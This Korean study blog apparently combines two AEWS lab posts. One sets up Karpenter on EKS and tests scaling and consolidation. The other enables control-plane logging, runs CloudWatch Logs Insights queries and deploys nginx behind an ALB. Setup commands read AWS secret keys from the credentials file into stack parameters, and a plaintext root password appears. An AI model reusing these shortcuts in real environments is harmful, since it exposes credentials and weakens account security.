
 

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/karpenter-preconfig.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file karpenter-preconfig.yaml --stack-name myeks2 --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32  MyIamUserAccessKeyID=`cat ~/.aws/credentials | grep aws_access_key_id | awk '{print $3}'` MyIamUserSecretAccessKey=`cat ~/.aws/credentials | grep aws_secret_access_key | awk '{print $3}'` ClusterBaseName=myeks --region ap-northeast-2

# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks2 --query 'Stacks[*].Outputs[0].OutputValue' --output text

# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/kp-ian.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks2 --query 'Stacks[*].Outputs[0].OutputValue' --output text)

# IP 주소 확인 : 172.30.0.0/16 VPC 대역에서 172.30.1.0/24 대역을 사용 중
ip -br -c addr

# EKS Node Viewer 설치 : 현재 ec2 spec에서는 설치에 다소 시간이 소요됨 = 2분 이상
wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest

# [터미널1] bin 확인
cd ~/go/bin && ./eks-node-viewer -h

# EKS 배포 완료 후 실행 하자
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory

# 변수 정보 확인
export | egrep 'ACCOUNT|AWS_' | egrep -v 'SECRET|KEY'

# 변수 설정
export KARPENTER_NAMESPACE="kube-system"
export K8S_VERSION="1.29"
export KARPENTER_VERSION="0.35.2"
export TEMPOUT=$(mktemp)
export ARM_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2-arm64/recommended/image_id --query Parameter.Value --output text)"
export AMD_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2/recommended/image_id --query Parameter.Value --output text)"
export GPU_AMI_ID="$(aws ssm get-parameter --name /aws/service/eks/optimized-ami/${K8S_VERSION}/amazon-linux-2-gpu/recommended/image_id --query Parameter.Value --output text)"
export AWS_PARTITION="aws"
export CLUSTER_NAME="${USER}-karpenter-demo"
echo "export CLUSTER_NAME=$CLUSTER_NAME" >> /etc/profile
echo $KARPENTER_VERSION $CLUSTER_NAME $AWS_DEFAULT_REGION $AWS_ACCOUNT_ID $TEMPOUT $ARM_AMI_ID $AMD_AMI_ID $GPU_AMI_ID

# CloudFormation 스택으로 IAM Policy, Role(KarpenterNodeRole-myeks2) 생성 : 3분 정도 소요
curl -fsSL https://raw.githubusercontent.com/aws/karpenter-provider-aws/v"${KARPENTER_VERSION}"/website/content/en/preview/getting-started/getting-started-with-karpenter/cloudformation.yaml  > "${TEMPOUT}" \
&& aws cloudformation deploy \
  --stack-name "Karpenter-${CLUSTER_NAME}" \
  --template-file "${TEMPOUT}" \
  --capabilities CAPABILITY_NAMED_IAM \
  --parameter-overrides "ClusterName=${CLUSTER_NAME}"

# 클러스터 생성 : myeks2 EKS 클러스터 생성 19분 정도 소요
eksctl create cluster -f - <<EOF
---
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig
metadata:
  name: ${CLUSTER_NAME}
  region: ${AWS_DEFAULT_REGION}
  version: "${K8S_VERSION}"
  tags:
    karpenter.sh/discovery: ${CLUSTER_NAME}

iam:
  withOIDC: true
  serviceAccounts:
  - metadata:
      name: karpenter
      namespace: "${KARPENTER_NAMESPACE}"
    roleName: ${CLUSTER_NAME}-karpenter
    attachPolicyARNs:
    - arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:policy/KarpenterControllerPolicy-${CLUSTER_NAME}
    roleOnly: true

iamIdentityMappings:
- arn: "arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:role/KarpenterNodeRole-${CLUSTER_NAME}"
  username: system:node:{{EC2PrivateDNSName}}
  groups:
  - system:bootstrappers
  - system:nodes

managedNodeGroups:
- instanceType: m5.large
  amiFamily: AmazonLinux2
  name: ${CLUSTER_NAME}-ng
  desiredCapacity: 2
  minSize: 1
  maxSize: 10
  iam:
    withAddonPolicies:
      externalDNS: true
EOF

# eks 배포 확인
eksctl get cluster
eksctl get nodegroup --cluster $CLUSTER_NAME
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
eksctl get addon --cluster $CLUSTER_NAME

# default 네임스페이스 적용
kubectl ns default


# 노드 정보 확인
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone

# ExternalDNS
MyDomain=<자신의 도메인>
echo "export MyDomain=<자신의 도메인>" >> /etc/profile
MyDomain=sdndev.link
echo "export MyDomain=sdndev.link" >> /etc/profile
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"


# [터미널1] eks-node-viewer
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory

# k8s 확인
kubectl cluster-info
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
kubectl get pod -n kube-system -owide
kubectl describe cm -n kube-system aws-auth

# Karpenter 설치를 위한 변수 설정 및 확인
export CLUSTER_ENDPOINT="$(aws eks describe-cluster --name "${CLUSTER_NAME}" --query "cluster.endpoint" --output text)"
export KARPENTER_IAM_ROLE_ARN="arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:role/${CLUSTER_NAME}-karpenter"
echo "${CLUSTER_ENDPOINT} ${KARPENTER_IAM_ROLE_ARN}"

# EC2 Spot Fleet의 service-linked-role 생성 확인 : 만들어있는것을 확인하는 거라 아래 에러 출력이 정상!
# If the role has already been successfully created, you will see:
# An error occurred (InvalidInput) when calling the CreateServiceLinkedRole operation: Service role name AWSServiceRoleForEC2Spot has been taken in this account, please try a different suffix.
aws iam create-service-linked-role --aws-service-name spot.amazonaws.com || true

# docker logout : Logout of docker to perform an unauthenticated pull against the public ECR
docker logout public.ecr.aws

# helm registry logout
helm registry logout public.ecr.aws

# karpenter 설치
helm install karpenter oci://public.ecr.aws/karpenter/karpenter --version "${KARPENTER_VERSION}" --namespace "${KARPENTER_NAMESPACE}" --create-namespace \
  --set "serviceAccount.annotations.eks\.amazonaws\.com/role-arn=${KARPENTER_IAM_ROLE_ARN}" \
  --set "settings.clusterName=${CLUSTER_NAME}" \
  --set "settings.interruptionQueue=${CLUSTER_NAME}" \
  --set controller.resources.requests.cpu=1 \
  --set controller.resources.requests.memory=1Gi \
  --set controller.resources.limits.cpu=1 \
  --set controller.resources.limits.memory=1Gi \
  --wait
 
# 확인
kubectl get-all -n $KARPENTER_NAMESPACE
kubectl get all -n $KARPENTER_NAMESPACE
kubectl get crd | grep karpenter

 

그 다음 NodePool (참고: 링크)을 설치하도록 하자.

cat <<EOF | envsubst | kubectl apply -f -
apiVersion: karpenter.sh/v1beta1
kind: NodePool
metadata:
  name: default
spec:
  template:
    spec:
      requirements:
        - key: kubernetes.io/arch
          operator: In
          values: ["amd64"]
        - key: kubernetes.io/os
          operator: In
          values: ["linux"]
        - key: karpenter.sh/capacity-type
          operator: In
          values: ["spot"]
        - key: karpenter.k8s.aws/instance-category
          operator: In
          values: ["c", "m", "r"]
        - key: karpenter.k8s.aws/instance-generation
          operator: Gt
          values: ["2"]
      nodeClassRef:
        apiVersion: karpenter.k8s.aws/v1beta1
        kind: EC2NodeClass
        name: default
  limits:
    cpu: 1000
  disruption:
    consolidationPolicy: WhenUnderutilized
    expireAfter: 720h # 30 * 24h = 720h
---
apiVersion: karpenter.k8s.aws/v1beta1
kind: EC2NodeClass
metadata:
  name: default
spec:
  amiFamily: AL2 # Amazon Linux 2
  role: "KarpenterNodeRole-${CLUSTER_NAME}" # replace with your cluster name
  subnetSelectorTerms:
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  securityGroupSelectorTerms:
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  amiSelectorTerms:
    - id: "${ARM_AMI_ID}"
    - id: "${AMD_AMI_ID}"
#   - id: "${GPU_AMI_ID}" # <- GPU Optimized AMD AMI 
#   - name: "amazon-eks-node-${K8S_VERSION}-*" # <- automatically upgrade when a new AL2 EKS Optimized AMI is released. This is unsafe for production workloads. Validate AMIs in lower environments before deploying them to production.
EOF

# 확인
kubectl get nodepool,ec2nodeclass

 

이제 준비가 완료되었으므로 배포에 대해 스케일업을 시켜보도록 하자.

# pause 파드 1개에 CPU 1개 최소 보장 할당
cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: inflate
spec:
  replicas: 0
  selector:
    matchLabels:
      app: inflate
  template:
    metadata:
      labels:
        app: inflate
    spec:
      terminationGracePeriodSeconds: 0
      containers:
        - name: inflate
          image: public.ecr.aws/eks-distro/kubernetes/pause:3.7
          resources:
            requests:
              cpu: 1
EOF

# Scale up
kubectl get pod
kubectl scale deployment inflate --replicas 5
kubectl logs -f -n "${KARPENTER_NAMESPACE}" -l app.kubernetes.io/name=karpenter -c controller
kubectl logs -f -n "${KARPENTER_NAMESPACE}" -l app.kubernetes.io/name=karpenter -c controller | jq '.'

 

스케일업을 실행하게 되면 pod수가 많아지는 것에 따라

 

새로운 노드가 생성되어짐을 확인할 수 있다. (확실히 이전 실습에서보다 빠르다)

 

스케일 다운 또한 실습해보자.

kubectl delete deployment inflate && date
kubectl logs -f -n "${KARPENTER_NAMESPACE}" -l app.kubernetes.io/name=karpenter -c controller

 

 

노드 개수가 다시 2개로 줄어든 것을 확인할 수 있었다.

 

그 다음에는 Disruption (구 Consolidation)을 테스트해보자. 중단 가능한 노드를 발견하고 필요할 대 교체를 시작하는 것으로, NodePool 또는 EC2NodeClass를 통해 구성 변경 사항을 자동으로 감지하여 필요한 변경 사항을 적용한다. 따라서 EKS를 보다 비용 효율적인 방식으로 사용할 수 있다는 장점을 가져다준다.

 

 

다음 예제를 통해 replica를 5개로 두었던 파드에 대해 1개로 변경하면서 최적 노드를 새로 만드는 실습을 수행한다.

# 기존 nodepool 삭제
kubectl delete nodepool,ec2nodeclass default

# v0.34.0 부터 featureGates 에 spotToSpotConsolidation 활성화로 사용 가능
helm upgrade karpenter -n kube-system oci://public.ecr.aws/karpenter/karpenter --reuse-values --set settings.featureGates.spotToSpotConsolidation=true

# Create a Karpenter NodePool and EC2NodeClass
cat <<EOF > nodepool.yaml
apiVersion: karpenter.sh/v1beta1
kind: NodePool
metadata:
  name: default
spec:
  template:
    metadata:
      labels:
        intent: apps
    spec:
      nodeClassRef:
        name: default
      requirements:
        - key: karpenter.sh/capacity-type
          operator: In
          values: ["spot"]
        - key: karpenter.k8s.aws/instance-category
          operator: In
          values: ["c","m","r"]
        - key: karpenter.k8s.aws/instance-size
          operator: NotIn
          values: ["nano","micro","small","medium"]
        - key: karpenter.k8s.aws/instance-hypervisor
          operator: In
          values: ["nitro"]
  limits:
    cpu: 100
    memory: 100Gi
  disruption:
    consolidationPolicy: WhenUnderutilized
---
apiVersion: karpenter.k8s.aws/v1beta1
kind: EC2NodeClass
metadata:
  name: default
spec:
  amiFamily: Bottlerocket
  subnetSelectorTerms:          
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  securityGroupSelectorTerms:
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  role: "KarpenterNodeRole-${CLUSTER_NAME}" # replace with your cluster name
  tags:
    Name: karpenter.sh/nodepool/default
    IntentLabel: "apps"
EOF
kubectl apply -f nodepool.yaml

# Deploy a sample workload
cat <<EOF > inflate.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: inflate
spec:
  replicas: 5
  selector:
    matchLabels:
      app: inflate
  template:
    metadata:
      labels:
        app: inflate
    spec:
      nodeSelector:
        intent: apps
      containers:
        - name: inflate
          image: public.ecr.aws/eks-distro/kubernetes/pause:3.2
          resources:
            requests:
              cpu: 1
              memory: 1.5Gi
EOF
kubectl apply -f inflate.yaml

#
watch -d "kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type"
kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type

# Scale in a sample workload to observe consolidation
# To invoke a Karpenter consolidation event scale, inflate the deployment to 1. Run the following command:
kubectl scale --replicas=1 deployment/inflate
kubectl -n kube-system logs -l app.kubernetes.io/name=karpenter --all-containers=true -f --tail=20
kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type
kubectl get node --label-columns=eks.amazonaws.com/capacityType,karpenter.sh/capacity-type
kubectl get node --label-columns=node.kubernetes.io/instance-type,topology.kubernetes.io/zone

# Use kubectl get nodeclaims to list all objects of type NodeClaim and then describe the NodeClaim Kubernetes resource
# using kubectl get nodeclaim/<claim-name> -o yaml. 
# In the NodeClaim .spec.requirements, you can also see the 15 instance types passed to the Amazon EC2 Fleet API:
kubectl get nodeclaims 
NAME            TYPE        ZONE              NODE                                                READY   AGE
default-w52c4   c6g.large   ap-northeast-2d   ip-192-168-77-172.ap-northeast-2.compute.internal   True    3m8s

kubectl get nodeclaims -o yaml | kubectl neat | yh
....
  spec: 
    nodeClassRef: 
      name: default
    requirements: 
    - key: karpenter.sh/nodepool
      operator: In
      values: 
      - default
    - key: node.kubernetes.io/instance-type
      operator: In
      values: 
      - c6g.large
      - c6gd.large
      - c6gn.large
      - c6id.large
      - c6in.large
      - c7g.large
      - c7i.large
      - m6g.large
      - m6gd.large
      - m6i.large
      - m7g.large
      - m7i-flex.large
      - m7i.large
      - r6g.large
      - r7g.large

# 삭제
kubectl delete deployment inflate
kubectl delete nodepool,ec2nodeclass default

 

잘 실행되었고 아래와 같이 스크린샷을 찍어보았다.

살펴보면 이전 c6gd.large에서 m6g.large로 변경된 것을 확인할 수 있다. 메모리가 2배로 되어 있어 replica를 1개로 합치면 1.5g x 5 = 7.5g가 되고 따라서 메모리 8기가까지 수용 가능한 m6g.large 노드에 최적화시켜 할당한 것으로 분석된다.

 

실습을 완료한 이후에는 리소스를 삭제하고 종료하도록 하자.

# Karpenter IAM Role 생성한 CloudFormation 삭제
aws cloudformation delete-stack --stack-name "Karpenter-${CLUSTER_NAME}"

# EC2 Launch Template 삭제
aws ec2 describe-launch-templates --filters "Name=tag:karpenter.k8s.aws/cluster,Values=${CLUSTER_NAME}" |
    jq -r ".LaunchTemplates[].LaunchTemplateName" |
    xargs -I{} aws ec2 delete-launch-template --launch-template-name {}

# 클러스터 삭제
eksctl delete cluster --name "${CLUSTER_NAME}"

# 위 삭제 완료 후 아래 삭제
aws cloudformation delete-stack --stack-name myeks2

 

 

본 게시물은 CloudNet@에서 진행하는 AEWS (Amazon EKS Workshop Study) 스터디에 참여하며 정리한 내용입니다.

 

0. 실습 환경

먼저 이번 실습을 위해서는 2가지가 전제가 되어야 한다. 물론 (실습을 위한) 도메인을 구입하였다는 가정에서 이야기한다. 본인의 경우 블로그로 사용하는 sdndev.net 도메인으로 실습하려다가 이 도메인에 대한 SSL 인증서와 ACM에서 발급한 인증서와의 충돌이 생겨 실습이 잘 되지 않았다. 이후 sdndev.link 도메인을 새로 구입하여 실습을 진행하던 도중, Route 53에서 sdndev.net 및 sdndev.link 모두 조회가 되어 실습이 잘 안되었다. ACM의 경우에도 사용하지 않는 인증서를 삭제할 필요가 있으며, 하위 도메인 모두를 허용하는 * 인증서가 아닌 것을 사용해도 실습은 가능하나 아래 설명하는 nginx. prometheus. grafana. 도메인을 접속할 때 SSL 오류를 만난다는 점을 유의하도록 하자. 이 부분이 제대로 되지 않을 때는 ALB가 생성될 때 타겟 그룹 바인딩이 생성되지 않거나 80번 포트에 대한 리다이렉션만 생성되고 443번 포트에 대한 리다이렉션이 생성되지 않는 등 여러 오류가 발생할 수 있음을 유의하자.

 

1. Route 53: 외부 도메인에 대한 Zone 설정

 

2. Certificate Manager (ACM): 해당 도메인에 대한 하위 도메인 모두를 허용하는 * 인증서

 

다음과 같이 명령어로 실행하여 배포를 진행하였다.

# YAML 파일 다운로드
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick3.yaml

# CloudFormation 스택 배포
aws cloudformation deploy --template-file eks-oneclick3.yaml --stack-name myeks --parameter-overrides KeyName=kp-ian SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32  MyIamUserAccessKeyID=`cat ~/.aws/credentials | grep aws_access_key_id | awk '{print $3}'` MyIamUserSecretAccessKey=`cat ~/.aws/credentials | grep aws_secret_access_key | awk '{print $3}'` ClusterBaseName=myeks --region ap-northeast-2

# CloudFormation 스택 배포 완료 후 작업용 EC2 IP 출력
aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text

# 작업용 EC2 SSH 접속
ssh -i ~/.ssh/kp-ian.pem ec2-user@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
or
ssh -i ~/.ssh/kp-ian.pem root@$(aws cloudformation describe-stacks --stack-name myeks --query 'Stacks[*].Outputs[0].OutputValue' --output text)
~ password: qwe123

 

설치한 환경을 간단히 확인한 다음 3개 노드에 대한 IP 주소를 가져와 환경 변수에 저장해두자.

kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone
eksctl get iamidentitymapping --cluster myeks
N1=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2a -o jsonpath={.items[0].status.addresses[0].address})
N2=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2b -o jsonpath={.items[0].status.addresses[0].address})
N3=$(kubectl get node --label-columns=topology.kubernetes.io/zone --selector=topology.kubernetes.io/zone=ap-northeast-2c -o jsonpath={.items[0].status.addresses[0].address})
echo "export N1=$N1" >> /etc/profile
echo "export N2=$N2" >> /etc/profile
echo "export N3=$N3" >> /etc/profile
echo $N1, $N2, $N3

# 노드 보안그룹 ID 확인
NGSGID=$(aws ec2 describe-security-groups --filters Name=group-name,Values=*ng1* --query "SecurityGroups[*].[GroupId]" --output text)
aws ec2 authorize-security-group-ingress --group-id $NGSGID --protocol '-1' --cidr 192.168.1.100/32

# 워커 노드 SSH 접속
for node in $N1 $N2 $N3; do ssh ec2-user@$node hostname; done

 

이후 AWS LB/ExternalDNS/EBS, kube-ops-view 설치 단계를 진행한다.

# ExternalDNS
echo "export MyDomain=sdndev.link" >> /etc/profile
MyDomain=sdndev.link
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"

# AWS LB Controller
helm repo add eks https://aws.github.io/eks-charts
helm repo update
helm install aws-load-balancer-controller eks/aws-load-balancer-controller -n kube-system --set clusterName=$CLUSTER_NAME \
  --set serviceAccount.create=false --set serviceAccount.name=aws-load-balancer-controller

# EBS csi driver 설치 확인
eksctl get addon --cluster ${CLUSTER_NAME}
kubectl get pod -n kube-system -l 'app in (ebs-csi-controller,ebs-csi-node)'
kubectl get csinodes

# gp3 스토리지 클래스 생성
kubectl get sc
kubectl apply -f https://raw.githubusercontent.com/gasida/PKOS/main/aews/gp3-sc.yaml
kubectl get sc

 

잘 실행되어 kube-ops-view도 확인이 가능하다.

또한 아래 명령어를 실행하여 설치가 잘 되었는지 확인해보도록 하자.

# 이미지 정보 확인
kubectl get pods --all-namespaces -o jsonpath="{.items[*].spec.containers[*].image}" | tr -s '[[:space:]]' '\n' | sort | uniq -c

# eksctl 설치/업데이트 addon 확인
eksctl get addon --cluster $CLUSTER_NAME

# IRSA 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME

# EC2 Instance Profile에 IAM Role 정보 확인
cat myeks.yaml | grep managedNodeGroups -A20 | yh

실행 결과를 통해 이미지 정보 뿐만 아니라 eksctl로 설치된 addon에 coredns, aws-ebs-csi-driver, kube-proxy, vpc-cni가 잘 설치되었음을 확인할 수 있었다. aws-load-balancer-controller는 IRSA를 확인하였고 IAM에는 아래 스크린샷과 같이 false로 되어있는 상황이다. 스터디 환경이기에 이렇게 구성하였으나 실제 사용시에는 보안에 염두할 필요가 있겠다.

1. Logging in EKS

먼저 EKS의 경우 CloudWatch에서 Container Insights 메뉴를 통해 기본적인 모니터링 요약 정보 등을 확인할 수 있다. 또한 디폴트로 컨트롤 플레인에 대한 EKS 로깅이 비활성화되어 있는데 이를 활성화시킨 후 수집한 로그를 CloudWatch에서 볼 수도 있다. 후자에 대한 부분을 확인해보았다.

CloudWatch에서 Container Insights 메뉴를 선택하여 확인이 가능하다.

EKS 클러스터를 선택한 후, Observability를 선택한 다음에 하단으로 가면 Cloudwatch 탭을 확인할 수 있다. 컨트롤 플레인 로깅이 off로 되어 있는 것을 확인할 수 있다.

위 AWS 콘솔 화면에서 "Manage logging"을 클릭하여 활성화할 수도 있으나 여기에서는 아래 명령어를 통해 활성화시켜보도록 하자.

# 모든 로깅 활성화
aws eks update-cluster-config --region $AWS_DEFAULT_REGION --name $CLUSTER_NAME \
    --logging '{"clusterLogging":[{"types":["api","audit","authenticator","controllerManager","scheduler"],"enabled":true}]}'

# 로그 그룹 확인
aws logs describe-log-groups | jq

# 로그 tail 확인 : aws logs tail help
aws logs tail /aws/eks/$CLUSTER_NAME/cluster | more

# 신규 로그를 바로 출력
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --follow

# 필터 패턴
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --filter-pattern <필터 패턴>

# 로그 스트림이름
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --log-stream-name-prefix <로그 스트림 prefix> --follow
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --log-stream-name-prefix kube-controller-manager --follow
kubectl scale deployment -n kube-system coredns --replicas=1
kubectl scale deployment -n kube-system coredns --replicas=2

# 시간 지정: 1초(s) 1분(m) 1시간(h) 하루(d) 한주(w)
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --since 1h30m

# 짧게 출력
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --since 1h30m --format short

AWS 콘솔에서 Control plane logging이 모두 활성화되어 있는 것을 확인할 수 있다. 또한 로그를 출력하면 내용이 많은데 이 중 kube-controller-manager에 대한 prefix를 설정한 다음 coredns replica수를 1개로 바꾸고 다시 2개로 변경해보면 로그가 필터링되어 나타나는 것을 확인할 수 있다.

이번에는 CloudWatch에서 "Log Insights"를 선택해보다. 로그 그룹에서 myeks 관련된 내용이 나타나는 것을 볼 수 있다. "/aws/eks/myeks/cluster"를 선택한 다음 아래 쿼리들을 실행해보자.

# EC2 Instance가 NodeNotReady 상태인 로그 검색
fields @timestamp, @message
| filter @message like /NodeNotReady/
| sort @timestamp desc

# kube-apiserver-audit 로그에서 userAgent 정렬해서 아래 4개 필드 정보 검색
fields userAgent, requestURI, @timestamp, @message
| filter @logStream ~= "kube-apiserver-audit"
| stats count(userAgent) as count by userAgent
| sort count desc

#
fields @timestamp, @message
| filter @logStream ~= "kube-scheduler"
| sort @timestamp desc

#
fields @timestamp, @message
| filter @logStream ~= "authenticator"
| sort @timestamp desc

#
fields @timestamp, @message
| filter @logStream ~= "kube-controller-manager"
| sort @timestamp desc

 

마지막 "kube-controller-manager" 쿼리를 실행하니 방금 전 Replica수를 변경하였던 활동과 관련된 로그를 바로 확인할 수 있었다.

 

꼭 AWS 콘솔에서 확인 가능한 것은 아니다. 아래와 같은 명령어를 통해 CLI에서도 확인 가능하다.

# CloudWatch Log Insight Query
aws logs get-query-results --query-id $(aws logs start-query \
--log-group-name '/aws/eks/myeks/cluster' \
--start-time `date -d "-1 hours" +%s` \
--end-time `date +%s` \
--query-string 'fields @timestamp, @message | filter @logStream ~= "kube-scheduler" | sort @timestamp desc' \
| jq --raw-output '.queryId')

관련 실습을 마쳤으면 로깅을 다시 비활성화하고 로그 그룹을 삭제하도록 하자.

# EKS Control Plane 로깅(CloudWatch Logs) 비활성화
eksctl utils update-cluster-logging --cluster $CLUSTER_NAME --region $AWS_DEFAULT_REGION --disable-types all --approve

# 로그 그룹 삭제
aws logs delete-log-group --log-group-name /aws/eks/$CLUSTER_NAME/cluster

 

그리고 파드 로깅 관련, nginx 파드를 helm으로 배포해보았다. 인증서 ARN을 지정하지 않아도 사용 가능하다던데, 본인의 경우 인증서 ARN을 지정해야 "myeks-ingress-alb"와 같은 ALB 로드밸런서가 생성이 되니 참고하도록 하자.

# NGINX 웹서버 배포
helm repo add bitnami https://charts.bitnami.com/bitnami

# 사용 리전의 인증서 ARN 확인
CERT_ARN=$(aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text)
echo $CERT_ARN

# 도메인 확인
echo $MyDomain

# 파라미터 파일 생성 : 인증서 ARN 지정하지 않아도 가능! 혹시 https 리스너 설정 안 될 경우 인증서 설정 추가(주석 제거)해서 배포 할 것
cat <<EOT > nginx-values.yaml
service:
  type: NodePort
  
networkPolicy:
  enabled: false

ingress:
  enabled: true
  ingressClassName: alb
  hostname: nginx.$MyDomain
  pathType: Prefix
  path: /
  annotations: 
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/target-type: ip
    alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
    #alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
    alb.ingress.kubernetes.io/success-codes: 200-399
    alb.ingress.kubernetes.io/load-balancer-name: $CLUSTER_NAME-ingress-alb
    alb.ingress.kubernetes.io/group.name: study
    alb.ingress.kubernetes.io/ssl-redirect: '443'
EOT
cat nginx-values.yaml | yh

# 배포
helm install nginx bitnami/nginx --version 15.14.0 -f nginx-values.yaml

# 확인
kubectl get ingress,deploy,svc,ep nginx
kubectl get targetgroupbindings # ALB TG 확인

# 접속 주소 확인 및 접속
echo -e "Nginx WebServer URL = https://nginx.$MyDomain"
curl -s https://nginx.$MyDomain
kubectl logs deploy/nginx -f

## 외부에서는 접속이 잘되나, myeks EC2에서 url 접속이 잘 되지 않을 경우 : 이전 aws DNS cache 영향(추정)
dig +short nginx.$MyDomain
dig +short nginx.$MyDomain @192.168.0.2
dig +short nginx.$MyDomain @1.1.1.1
dig +short nginx.$MyDomain @8.8.8.8
cat /etc/resolv.conf
sed -i "s/^nameserver 192.168.0.2/nameserver 1.1.1.1/g" /etc/resolv.conf
cat /etc/resolv.conf
dig +short nginx.$MyDomain
dig +short nginx.$MyDomain @8.8.8.8
dig +short nginx.$MyDomain @192.168.0.2
curl -s https://nginx.$MyDomain
----

# 반복 접속
while true; do curl -s https://nginx.$MyDomain -I | head -n 1; date; sleep 1; done

# (참고) 삭제 시
helm uninstall nginx

 

이러한 컨테이너 로그 메시지는 해당 파드에서 access 및 error 로그를 이미 stdout 및 stderr로 리다이렉션했기에 확인이 가능하다는 점을 참고하자.

2. Container Insights metrics in Amazon CloudWatch & Fluent Bit (Logs)

Fluent Bit 컨테이너를 데몬셋으로 동작시키고, 아래 3가지 종류 로그를 CloudWatch Logs로 전송시켜보자.

  1. /aws/containerinsights/Cluster_Name/application : 로그 소스(All log files in /var/log/containers), 각 컨테이너/파드 로그
  2. /aws/containerinsights/Cluster_Name/host : 로그 소스(Logs from /var/log/dmesg, /var/log/secure, and /var/log/messages), 노드(호스트) 로그
  3. /aws/containerinsights/Cluster_Name/dataplane : 로그 소스(/var/log/journal for kubelet.service, kubeproxy.service, and docker.service), 쿠버네티스 데이터플레인 로그

먼저 로그 위치를 확인해보자.

# Application 로그 위치 확인
#ssh ec2-user@$N1 sudo tree /var/log/containers
#ssh ec2-user@$N1 sudo ls -al /var/log/containers
